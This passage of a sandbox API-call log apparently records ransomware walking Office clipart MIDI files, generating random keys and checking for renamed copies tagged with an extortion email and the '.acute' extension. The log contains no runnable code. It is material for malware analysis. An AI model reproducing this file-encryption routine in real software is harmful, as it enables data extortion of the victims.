GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5843) returned 1 [0274.876] CloseHandle (hObject=0x30c) returned 1 [0274.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0274.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.877] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.923] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5968) returned 1 [0274.923] CloseHandle (hObject=0x37c) returned 1 [0274.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0274.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.923] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.924] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5440) returned 1 [0274.924] CloseHandle (hObject=0x37c) returned 1 [0274.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0274.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.924] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.925] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6644) returned 1 [0274.925] CloseHandle (hObject=0x37c) returned 1 [0274.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0274.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.925] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.926] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6763) returned 1 [0274.926] CloseHandle (hObject=0x37c) returned 1 [0274.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0274.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.930] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.930] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6491) returned 1 [0274.931] CloseHandle (hObject=0x37c) returned 1 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.931] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.931] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5714) returned 1 [0274.931] CloseHandle (hObject=0x37c) returned 1 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.931] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.931] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=8538) returned 1 [0274.931] CloseHandle (hObject=0x37c) returned 1 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0274.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.932] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.932] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6070) returned 1 [0274.932] CloseHandle (hObject=0x37c) returned 1 [0274.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0274.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.933] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.934] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6020) returned 1 [0274.934] CloseHandle (hObject=0x37c) returned 1 [0274.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0274.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.934] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.934] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7768) returned 1 [0274.934] CloseHandle (hObject=0x37c) returned 1 [0274.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0274.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.934] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.935] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6564) returned 1 [0274.935] CloseHandle (hObject=0x37c) returned 1 [0274.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0274.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.935] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.936] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7347) returned 1 [0274.936] CloseHandle (hObject=0x37c) returned 1 [0274.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0274.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.936] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.936] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6764) returned 1 [0274.936] CloseHandle (hObject=0x37c) returned 1 [0274.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0274.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.936] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.936] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5393) returned 1 [0274.936] CloseHandle (hObject=0x37c) returned 1 [0274.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0274.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.937] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.937] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5983) returned 1 [0274.937] CloseHandle (hObject=0x37c) returned 1 [0274.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0274.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.937] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.938] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=10122) returned 1 [0274.938] CloseHandle (hObject=0x37c) returned 1 [0274.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0274.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.938] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft 